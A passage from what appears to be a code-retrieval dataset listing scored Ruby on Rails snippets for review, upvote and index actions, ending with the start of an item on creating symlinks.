"text": "def up\n @review = Review.find(params[:id])\n @vote = @review.votes.build(params[:vote])\n @vote.user = current_user\n @vote.point = 1\n\n @paths = @review.file\n @line = @review.line\n @project = @review.project\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to line_project_path(@project, 'line', @paths, @line), notice: 'Vote was successfully created.' }\n # format.js { @reviews = @project.reviews_by_line(@paths, @line).paginate(page: params[:page], per_page: 20) }\n format.js { @reviews = Review.with_project(@project).with_file(@paths).with_line(@line).paginate(page: params[:page], per_page: 20) }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "346bced07b4e691edf83f4ebac356016",
"score": "0.65244603",
"text": "def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend",
"title": ""
},
{
"docid": "91e761911fa4f6aab4faf4eb3fde4214",
"score": "0.63734555",
"text": "def upvote\n\t\t\t@review = Review.find(params[:review_id])\n\t\t\t@review.update_attribute(:upvotes, (@review.upvotes + 1))\n\t\tend",
"title": ""
},
{
"docid": "ae0c09f3d0c256c6c4e2a72a0a69dca3",
"score": "0.62089515",
"text": "def upvote\n\n\t\t@interview = InterviewReview.find(params[:id])\n\t\t@interview.upvotes.create(job_seeker_id: current_user.job_seeker.id)\n\t\t@total_votes = @interview.upvotes.count\n\t\trespond_to do |format|\n\t\t\t\n\t\t\tformat.js\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4c53a23719cec17d6a83a3da03fe2db7",
"score": "0.61250633",
"text": "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "89907fb7cb6aed71c532021e3e942123",
"score": "0.5993712",
"text": "def index\n render json: Album.find(params[:album_id]).reviews\n end",
"title": ""
},
{
"docid": "da7e27db7784d46082b35b204b55bd5a",
"score": "0.59468734",
"text": "def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "aa0b50fdad74bc8b5f92b9938f011bf8",
"score": "0.59321976",
"text": "def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end",
"title": ""
},
{
"docid": "355e863002ae7ab25d66003210ca7f27",
"score": "0.5919049",
"text": "def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end",
"title": ""
},
{
"docid": "36a25318b62a336e9c86d2cebde83d05",
"score": "0.59035486",
"text": "def pending\n @reviews = current_user.written_reviews.pending\n render json: @reviews\n end",
"title": ""
},
{
"docid": "f84b64c3ac3a34f757b7abf322f37356",
"score": "0.5893112",
"text": "def review\n fetch('restaurant.review')\n end",
"title": ""
},
{
"docid": "145f892801ae31ba346117e3cc9b7e31",
"score": "0.58126956",
"text": "def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ceac96232bcc001bcc234037185be77e",
"score": "0.5810619",
"text": "def show\n @user = User.find(params[:id])\n @reviews = @user.reviews.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "bd9ab1aee0fda7a05469a34d4a384982",
"score": "0.5804569",
"text": "def upvote\n @comment = Comment.find(params[:id])\n @comment.upvote\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "66c2da4b37eb41dfaadc8f83bff03daa",
"score": "0.5797681",
"text": "def index\n @reviews = current_user.reviews\n end",
"title": ""
},
{
"docid": "20a1b1cfd176fe3d52a49fadca724042",
"score": "0.5768844",
"text": "def upvote\n\t\t# the post is set to the params\n\t\tpost = Post.find(params[:post_id])\n\t\t# set comment to the that comment's params\n\t\tcomment = post.comments.find(params[:id])\n\t\t# increment that comment's upvotes\n\t\tcomment.increment!(:upvotes)\n\t\trespond_with post, comment\n\tend",
"title": ""
},
{
"docid": "93620910384c373e2a01464296df8ab7",
"score": "0.5759861",
"text": "def reviews\n download_reviews\n @reviews.flatten!\n end",
"title": ""
},
{
"docid": "9d22d5d55c5b3acf5ab6ed889b4ba230",
"score": "0.57597166",
"text": "def create\n user_id = current_user.id\n review_id = params[:review_id]\n puts user_id, review_id\n if RateUp.exists?(user_id: user_id, review_id: review_id)\n RateUp.find_by(user_id: user_id, review_id: review_id).delete\n else\n RateDown.find_by(user_id: user_id, review_id: review_id).delete if RateDown.exists?(user_id: user_id, review_id: review_id)\n RateUp.create(user_id: user_id, review_id: review_id)\n end\n @review = Review.find(review_id)\n respond_to do |format|\n format.js { }\n end\n end",
"title": ""
},
{
"docid": "a0c8d509da16e406d65c0ce0609a5652",
"score": "0.57268506",
"text": "def upcoming_interviews\n future_interviews_count = @interviewer.upcoming_interviews.count\n if [1, 2].include? future_interviews_count\n render json: @interviewer\n else\n render json: {error: \"No Upcoming Interviews found\"}, status: 404\n end\n end",
"title": ""
},
{
"docid": "4db68e034b8a3a81959609d55655424a",
"score": "0.57225543",
"text": "def index\n reviews = Review.all\n render json: reviews\n end",
"title": ""
},
{
"docid": "4db68e034b8a3a81959609d55655424a",
"score": "0.57225543",
"text": "def index\n reviews = Review.all\n render json: reviews\n end",
"title": ""
},
{
"docid": "4e7d296470380b05e649ba6c576e57f0",
"score": "0.57062906",
"text": "def userindex\n @user = User\n .left_joins(:reviews).includes(:reviews)\n .find(current_user.id)\n\n reviews = @user.reviews\n render json: reviews\n end",
"title": ""
},
{
"docid": "36a02ced2094b29c69189f1487b057a2",
"score": "0.5705231",
"text": "def review\n @users = User.all\n @review = Review.new\n end",
"title": ""
},
{
"docid": "57e3dbd9328ce2fbcafb4cd3238ad6ce",
"score": "0.56990165",
"text": "def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end",
"title": ""
},
{
"docid": "a608a32aeca06c69d4584d22a1257834",
"score": "0.56866884",
"text": "def reviews\n @reviews\n end",
"title": ""
},
{
"docid": "4935e9d784c49f22376789dc61c7e869",
"score": "0.5683624",
"text": "def index\n @user = User.find(params[:uid])\n @reviews = @reviews.where(user_id: @user.id).where(anonymous: false)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "f141c0a08601557c3d4ec55a305a45e5",
"score": "0.56747013",
"text": "def upvotes_size\n\t\treviews.where(satisfied: true).size\n\tend",
"title": ""
},
{
"docid": "60c9a13ae9f3beaa84f5d19d8af5f496",
"score": "0.5669269",
"text": "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "60c9a13ae9f3beaa84f5d19d8af5f496",
"score": "0.5669269",
"text": "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "f16dae1e5f8e07deacfe734107ce21c9",
"score": "0.56508327",
"text": "def upvotes\n @ups\n end",
"title": ""
},
{
"docid": "f16dae1e5f8e07deacfe734107ce21c9",
"score": "0.56508327",
"text": "def upvotes\n @ups\n end",
"title": ""
},
{
"docid": "95f29d488f630fa399569f24d81833a4",
"score": "0.5630369",
"text": "def welcome\n @reviews = Review.all\n render json: @reviews\n end",
"title": ""
},
{
"docid": "5785103846267ecbf3e0e425c8678b36",
"score": "0.558215",
"text": "def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend",
"title": ""
},
{
"docid": "785fa0164fed7dc3f1917b72bb385122",
"score": "0.5580779",
"text": "def index\n @reviews = Review.order(:place_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end",
"title": ""
},
{
"docid": "22cc1f009912eaa1048446e9371d1ac4",
"score": "0.55606115",
"text": "def upvote\n # $(`js-count-${data.picture_id}`).html(data.upvotes);\n @picture = Picture.find(params[:id])\n @picture.liked_by current_user\n render json: { picture_id: @picture.id, upvotes: @picture.get_upvotes.size }\n end",
"title": ""
},
{
"docid": "32c45695f1c5085cc5fbd167b6dcf9b8",
"score": "0.5555046",
"text": "def review\n learnables =\n current_user\n .rated_learnables\n .for_review\n .limit(MAX_NUMBER_OF_RATINGS_PER_REQUEST)\n\n @status = status\n @learnables_serializer =\n ActiveModel::Serializer::CollectionSerializer.new(learnables, {})\n end",
"title": ""
},
{
"docid": "be10a080578c28f7f2b0fd5ed4f23192",
"score": "0.55457795",
"text": "def vote_up\n current_user = User.find(session[:user_id])\n @the_question = Question.find(params[:id])\n\n current_user.vote_for(@the_question)\n \n render json: [{question: @the_question}, {votes: @the_question.votes_for}]\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "2890c5e7f4c2f157d2f62ee5397a410f",
"score": "0.55349606",
"text": "def index\n @reviews = Review.all\n end",
"title": ""
},
{
"docid": "50e494f5057093a74df1e04db0004556",
"score": "0.5534955",
"text": "def index\n @pre_training_reviews = PreTrainingReview.all\n end",
"title": ""
},
{
"docid": "79021dd7ffdee10881d19fa14a7fdac4",
"score": "0.5532556",
"text": "def new\n @review = current_user.reviews.new\n 1.times { @review.review_photos.build }\n @place = Place.first\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"title": ""
},
{
"docid": "d95e49093ed1a45feb79eefeea3c3b85",
"score": "0.5528065",
"text": "def rate_up_params\n params.require(:rate_up).permit(:user_id, :review_id)\n end",
"title": ""
},
{
"docid": "4b2e6c80d7538f51015eed8510103651",
"score": "0.5518173",
"text": "def index\n @reviews = Review.all\n \n end",
"title": ""
},
{
"docid": "81b4b2700d9279ff7d33af1dfdb380f0",
"score": "0.5516035",
"text": "def index\n @reviews = @story.reviews\n end",
"title": ""
},
{
"docid": "142b17e430f68082c230ba88e012879f",
"score": "0.55041575",
"text": "def create\n @user = current_user\n @review = @user.reviews.build(review_params)\n if @user.save\n render json: @review\n end\n end",
"title": ""
},
{
"docid": "0e7b29ebebaa75da825f9c1bfe7c5056",
"score": "0.54990697",
"text": "def index\n @user_reviews = UserReview.all.order(:rate_period).page(params[:page])\n end",
"title": ""
},
{
"docid": "3b09589d7e2be67f09b3797d4a7346df",
"score": "0.5475537",
"text": "def index\n @user_reviews = UserReview.find(:all)\n @user = get_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reviews }\n end\n end",
"title": ""
},
{
"docid": "17f1df9c2afdb5c39ee3684b1568beef",
"score": "0.5473364",
"text": "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end",
"title": ""
},
{
"docid": "ae59affb8a47a358d2bd70a51ff1af48",
"score": "0.54619163",
"text": "def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end",
"title": ""
},
{
"docid": "eae78bdc67c8a330248379f5317f1746",
"score": "0.5456704",
"text": "def detail_url\n \"#{user.annict_url}/@#{user.username}/reviews/#{id}\"\n end",
"title": ""
},
{
"docid": "6b999fbee7723c90a988b4066eb1daa7",
"score": "0.5449817",
"text": "def fetch_reviews(software_id, store, pageNumber=0, *previous)\n reviews = []\n\n # If passed a list of reviews then use that an add any new ones to it\n if previous.length > 0\n reviews = previous[0]\n end\n\n # TODO: parameterize type=Purple+Software\n # TODO: parameterize sortOrdering\n # Valid sortOrdering options are:\n # 0/1 = Most Helpful\n # 2 = Most Favorable\n # 3 = Most Critical\n # 4 = Most Recent\n cmd = sprintf(%{curl -s -A \"iTunes/9.2 (Macintosh; U; Mac OS X 10.6\" -H \"X-Apple-Store-Front: %s-1\" } <<\n %{'https://itunes.apple.com/WebObjects/MZStore.woa/wa/viewContentsUserReviews?} <<\n %{sortOrdering=1&type=Purple+Software&mt=8&id=%s&pageNumber=%s' | xmllint --format --recover - 2>/dev/null},\n store[:id],\n software_id,\n pageNumber)\n\n rawxml = `#{cmd}`\n\n\n if defined?(DEBUG) && DEBUG_SAVE_SOURCE_XML == true\n open(\"appreview.#{software_id}.#{store[:id]}.#{pageNumber}.xml\", 'w') { |f| f.write(rawxml) }\n end\n\n doc = Hpricot.XML(rawxml)\n\n # Get current page nr\n currentPage = getCurrentPage(doc)\n # Get total number of pages\n numberOfPages = getNumberOfPages(doc)\n\n doc.search(\"Document > View > ScrollView > VBoxView > View > MatrixView > VBoxView:nth(0) > VBoxView > VBoxView\").each do |e|\n review = {}\n\n strings = (e/:SetFontStyle)\n meta = strings[2].inner_text.split(/\\n/).map { |x| x.strip }\n\n # Note: Translate is sensitive to spaces around punctuation, so we make sure br's connote space.\n review[:rating] = e.inner_html.match(/alt=\"(\\d+) star(s?)\"/)[1].to_i\n review[:author] = meta[3]\n review[:version] = meta[7][/Version (.*)/, 1] unless meta[7].nil?\n review[:date] = meta[10]\n review[:subject] = strings[0].inner_text.strip\n review[:body] = strings[3].inner_html.gsub(\"<br />\", \"\\n\").strip\n\n reviews << review\n end\n\n # If there are more review pages to go, then go fetch and parse the next one, if not then return the list\n if (pageNumber + 1) < numberOfPages\n fetch_reviews(software_id, store, pageNumber + 1, reviews)\n else\n return reviews\n end\nend",
"title": ""
},
{
"docid": "2f8bc5b35d2dddeb651ef4c401f88494",
"score": "0.54485834",
"text": "def index\n\t\t@book_reviews = BookReview.find_all_by_user_id(current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render :json => @book_reviews }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "16db2aef141e72e22faf5162ce4e11f4",
"score": "0.5445822",
"text": "def upvote\n uid = unsafe_params[:uid]\n fail \"Item uid needs to be a non-empty string\" unless uid.is_a?(String) && uid != \"\"\n\n vote_scope = unsafe_params[:vote_scope]\n\n item = item_from_uid(uid)\n if item.accessible_by?(@context) && [\"app-series\", \"discussion\", \"answer\", \"note\", \"comparison\", \"job\", \"file\", \"asset\"].include?(item.klass)\n if vote_scope.present?\n # Special treatment for appathon vote_scope\n if vote_scope =~ /^(appathon)-(\\d+)$/\n appathon = item_from_uid(vote_scope, Appathon)\n fail \"#{uid} is not accessible by you in this scope\" unless appathon.followed_by?(@context.user)\n end\n item.liked_by(@context.user, vote_scope: vote_scope)\n upvote_count = item.get_upvotes(vote_scope: vote_scope).size\n else\n item.liked_by(@context.user)\n upvote_count = item.get_upvotes.size\n end\n render json: {\n uid: uid,\n upvote_count: upvote_count,\n }\n else\n fail \"#{uid} is not accessible by you\"\n end\n end",
"title": ""
},
{
"docid": "e5486cad277e9a0a743c0f700a9866d8",
"score": "0.5436163",
"text": "def upvoted\n suggestions = Suggestion.includes(:place).joins(:votes).where(\"votes.direction = 1 AND votes.user_id = ?\", session[:user_id])\n render json: suggestions.to_json(:include => [:place])\n end",
"title": ""
},
{
"docid": "e624116882fe46901d6e4708a99003aa",
"score": "0.5430891",
"text": "def show\n render json: @review\n end",
"title": ""
},
{
"docid": "e624116882fe46901d6e4708a99003aa",
"score": "0.5430891",
"text": "def show\n render json: @review\n end",
"title": ""
},
{
"docid": "e624116882fe46901d6e4708a99003aa",
"score": "0.5430891",
"text": "def show\n render json: @review\n end",
"title": ""
},
{
"docid": "b889d84f5300cc78460924a6a6c6fb2e",
"score": "0.54240954",
"text": "def upvote\n recipe_id = Mongo::ObjectID.from_string(params[:id])\n Recipe.upvote(recipe_id, current_user.id)\n render :nothing => true\n end",
"title": ""
},
{
"docid": "3aa2baef374960ef13e4321d5d31095e",
"score": "0.54212147",
"text": "def down\n @review = Review.find(params[:id])\n @vote = @review.votes.build(params[:vote])\n @vote.user = current_user\n @vote.point = -1\n\n @paths = @review.file\n @line = @review.line\n @project = @review.project\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to line_project_path(@project, 'line', @paths, @line), notice: 'Vote was successfully created.' }\n # format.js { @reviews = @project.reviews_by_line(@paths, @line).paginate(page: params[:page], per_page: 20) }\n format.js { @reviews = Review.with_project(@project).with_file(@paths).with_line(@line).paginate(page: params[:page], per_page: 20) }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "717b0fec00b9e7ea481eb09cfa8a1627",
"score": "0.5418244",
"text": "def comment_vote_up\n comment = Comment.find(params[:id])\n\n if(!valid_request? comment, :back, false)\n return\n end\n\n v = VotesComment.new(:comment_id => comment.id, :user_id => current_user.id)\n\n respond_to do |format|\n if v.save\n format.html { redirect_to :back, notice: 'Vote Up successful' }\n format.json { render json: :back, status: :created, location: v }\n else\n format.html { render action: \"vote up\" }\n format.json { render json: v.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc14b145f02d8649fd49ce5308156b58",
"score": "0.5417657",
"text": "def show\n @user = User.find(params[:id])\n @reviews = @user.reviews\n\n if @reviews.length > 0\n \n @ob_score = 0\n @sub_score = 0\n @tot_score = 0\n @review_count = @reviews.length\n\n @reviews.each do |r|\n @ob_score += r.ob_score.to_i\n @sub_score += r.sub_score.to_i\n @tot_score += (r.sub_score.to_i + r.ob_score.to_i)\n end\n\n @ob_score = @ob_score / @review_count\n @sub_score = @sub_score / @review_count\n @tot_score = @tot_score / @review_count\n end\n\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "304ce3ef34a746c722d8f72260545d77",
"score": "0.5414914",
"text": "def index\n @tour_reviews = TourReview.all\n end",
"title": ""
},
{
"docid": "a79d08e470e05091b07fba3f52a5c851",
"score": "0.54143035",
"text": "def view_reviews\n @submission = Submission.find(params[:id])\n @questions = @submission.assignment.questions.sort_by {|obj| obj.created_at }\n evaluation = @evaluations.where(:user_id => current_user.id)[0]\n @responses = @evaluations[0].responses.sort_by {|obj| obj.created_at }\n\n respond_to do |format|\n format.html { render view, :layout => 'no_sidebar' } # show.html.erb\n format.json { render json: @submission }\n end\n end",
"title": ""
},
{
"docid": "accfc188d31c34f53001ca5e486f28a2",
"score": "0.54140776",
"text": "def upvote\n @comment = Comment.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.find_or_create_by(upvote: 1, comment: @comment, user: @current_user)\n check_score()\n respond_to do |format|\n # # if the response format is html, redirect as usual\n format.html { redirect_to root_path }\n # # if the response format is javascript, do something else...\n format.js { }\n end\n end",
"title": ""
},
{
"docid": "26b519a81a2ea8a5baf4e7a117dc69eb",
"score": "0.54097617",
"text": "def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end",
"title": ""
},
{
"docid": "dcd468813cdb711d8d8378d5e295ded5",
"score": "0.53920656",
"text": "def index\n response.headers['X-Total-Count'] = @reviews.count.to_s\n @reviews = @reviews.page(params[:page]) if params[:page].present?\n @reviews = @reviews.per(params[:per]) if params[:per].present?\n\n _render collection: @reviews, flag: params[:flag].try(:to_sym)\n end",
"title": ""
},
{
"docid": "7597901072492e13170f216c97d02639",
"score": "0.5391448",
"text": "def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end",
"title": ""
},
{
"docid": "520be27c506f0c86de1ed5fc7dcb08bc",
"score": "0.53883487",
"text": "def index \n reviews=Review.all.sort \n render json: reviews\n end",
"title": ""
},
{
"docid": "24e5e1ccdc4a59ce70253e29087907cb",
"score": "0.53703386",
"text": "def reviews\n self.reviews\n end",
"title": ""
},
{
"docid": "fc3511430a4ce0d530ba41c73fdcef14",
"score": "0.53624636",
"text": "def up_votes\n # we find the up votes for a post by passing value: 1 to where. This fetches a collection of votes with a value of 1. \n # We then call count on the collection to get a total of all up votes.\n votes.where(value: 1).count\n end",
"title": ""
},
{
"docid": "882dc84cad20d70a87160f26f0276055",
"score": "0.53621703",
"text": "def review_count\n reviews.count\n end",
"title": ""
},
{
"docid": "6a56b2db3bf54858774690f408e490f7",
"score": "0.5360943",
"text": "def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end",
"title": ""
},
{
"docid": "391f88452a1b7e5d39a9af4fbd5bed20",
"score": "0.535716",
"text": "def index\n @visitor_reviews = VisitorReview.all\n end",
"title": ""
},
{
"docid": "3c4e77d69b2642579be7bf3dafec90ce",
"score": "0.53533953",
"text": "def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end",
"title": ""
},
{
"docid": "b85baf4dce89558351f949badd6eeb96",
"score": "0.5352856",
"text": "def new\n @review = @place.reviews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end",
"title": ""
},
{
"docid": "1c7d1a560a1777ec73c8c3c2d0649e67",
"score": "0.535072",
"text": "def index\n @item_reviews = ItemReview.all\n end",
"title": ""
},
{
"docid": "1c7d1a560a1777ec73c8c3c2d0649e67",
"score": "0.535072",
"text": "def index\n @item_reviews = ItemReview.all\n end",
"title": ""
},
{
"docid": "013bf053f8d8c9d67d4edf54ac1e2812",
"score": "0.5347732",
"text": "def getUserReviews(u)\n @allR = []\n @es = User.find_by(id: u).events\n @es.each do |e|\n @rs = e.reviews\n @rs.each do |r|\n @allR.push(r)\n end\n end\n return @allR\n end",
"title": ""
},
{
"docid": "4d1e03effa079a4e53c84653ca21de37",
"score": "0.5341638",
"text": "def show\n @review = Review.find(params[:id])\n render json: @review\n end",
"title": ""
},
{
"docid": "f1f33b87e30d1e5a560bd5a12db6306f",
"score": "0.5340871",
"text": "def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end",
"title": ""
},
{
"docid": "9d94b15236789515731f1d7e6e774295",
"score": "0.534057",
"text": "def list\n @reviews = current_user.organization.reviews\n end",
"title": ""
},
{
"docid": "c9c88de5667747164039e270fdc310af",
"score": "0.5339598",
"text": "def update\n\t\t@set_def_avt=params[:review][:default_avatar]\n\t\t@review.cover_page.destroy if @set_def_avt\n\n\t\trespond_to do |format|\n\t\t\tif @review.update(review_params)\n\t\t\t\t@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\t\t\tformat.html { redirect_to @review; flash[:info]= 'review was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @review }\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @review.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4f0b3fc41c1ce599db931fdab8f529ba",
"score": "0.5336522",
"text": "def set_reviews\n @reviews = Review.where(restaurant_id: @restaurant.id).order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "131d41d006bdc6d3cc6d34120246fd99",
"score": "0.5321277",
"text": "def index\n\t\tparams[:search] ? @reviews=Review.search(params[:search]) : @reviews= Review.where(\"user_id = ?\", current_user.id)\n\t\t@reviews = @reviews.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @reviews }\n\t\t\tformat.js\n\t\tend \n\tend",
"title": ""
},
{
"docid": "f88b8c83c0db1d5fc43c4328674dde95",
"score": "0.5317245",
"text": "def index\n\t\t@reviews = @movie.reviews\n\tend",
"title": ""
},
{
"docid": "3ae7060d79ffc4af719395d28b0072e9",
"score": "0.53157455",
"text": "def index\n @blade_reviews = current_user.blade_reviews.order(date: :desc)\n end",
"title": ""
},
{
"docid": "3ce6f7b149b91357f8bde6b9d227d6a2",
"score": "0.5309781",
"text": "def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend",
"title": ""
},
{
"docid": "8ec2eecdd097ebcc432e0bd6e776029b",
"score": "0.5309596",
"text": "def upvote\n # Increase the vote count. You would probably also want to perform other checks to\n # make sure the same IP doesn't upvote multiple times, etc.\n @question.votes += 1\n if @question.save\n # Render out the new vote count.\n render json: { votes: @question.votes } # Sends back a 200 status, jQuery's success callback will be called\n else\n # You could also render back some error JSON if you wanted\n head :bad_request # Sends back a 403 status, jQuery's error callback will be called\n end\n end",
"title": ""
},
{
"docid": "5487ab1473427717b3cc8d0deeb040b4",
"score": "0.5307468",
"text": "def index\n @reviews = Review.find params[:id]\n\n @user = User.find(params[user:id])\n @review = Review.new\n end",
"title": ""
},
{
"docid": "602bda85ce5df90b6df4d7389d3136fe",
"score": "0.5275324",
"text": "def update\n @review = @post.reviews.where(user_id: current_user.id).find(params[:id])\n @review.update_attributes(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end",
"title": ""
},
{
"docid": "c87eb099176d1d851c33824779d7367b",
"score": "0.5275202",
"text": "def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"title": ""
},
{
"docid": "4a4b67ead72c28512e9197ea14815f67",
"score": "0.5272214",
"text": "def requests_with_reviews_for_user(user)\n Request.with_open_reviews_for(by_user: user, target_project: root_project_name)\n end",
"title": ""
}
] |
b3eaf32e22a9b80bfaaab2b80499a8dc | Create a new symlink | [
{
"docid": "d500efe693115c6c58658ef5b33ee262",
"score": "0.76954484",
"text": "def create_symlink(file, link_path, backup_folder_path)\n source = \"#{Dir.pwd}/#{file}\"\n destination = \"#{link_path}/#{file}\"\n backup_file(destination, backup_folder_path)\n puts \"...symlinking from #{source} to #{destination}\"\n FileUtils.symlink(source, destination)\nend",
"title": ""
}
] | [
{
"docid": "53891801986564cd3a38a1b59f13c091",
"score": "0.8860376",
"text": "def create_symlink(dest_path); end",
"title": ""
},
{
"docid": "d6706c5d9c24f06cb415bf56cbf1afde",
"score": "0.8310286",
"text": "def link(new_link_path, existing_path, symlink); end",
"title": ""
},
{
"docid": "9982b28ace2e5d0ff5be7d49a8c25664",
"score": "0.8092513",
"text": "def create_symlink(link)\n puts \"create new #{link} symlink\"\n FileUtils.ln_s(\"#{@vimfiles_folder}/vimrc\", link, :force => true) if link == @vim_config\n FileUtils.ln_s(@vimfiles_folder, link, :force => true) if link == @vim_folder\n end",
"title": ""
},
{
"docid": "60b80fc13e35c7009556428b3bdb57c5",
"score": "0.7923229",
"text": "def symlink(path, target); end",
"title": ""
},
{
"docid": "60b80fc13e35c7009556428b3bdb57c5",
"score": "0.7923229",
"text": "def symlink(path, target); end",
"title": ""
},
{
"docid": "dc57c5f116322c5b90d9adee4e1af2fe",
"score": "0.78533053",
"text": "def create(dotfile_path)\n symlink_path = HOME_DIRECTORY + \"#{dotfile_path.basename}\"\n\n link_str = \"%s -> %s\" % [symlink_path, dotfile_path]\n puts \"linking #{symlink_path}\"\n result = system(%Q{ln -i -s \"#{dotfile_path}\" \"#{symlink_path}\"})\n if result\n puts link_str\n end\n end",
"title": ""
},
{
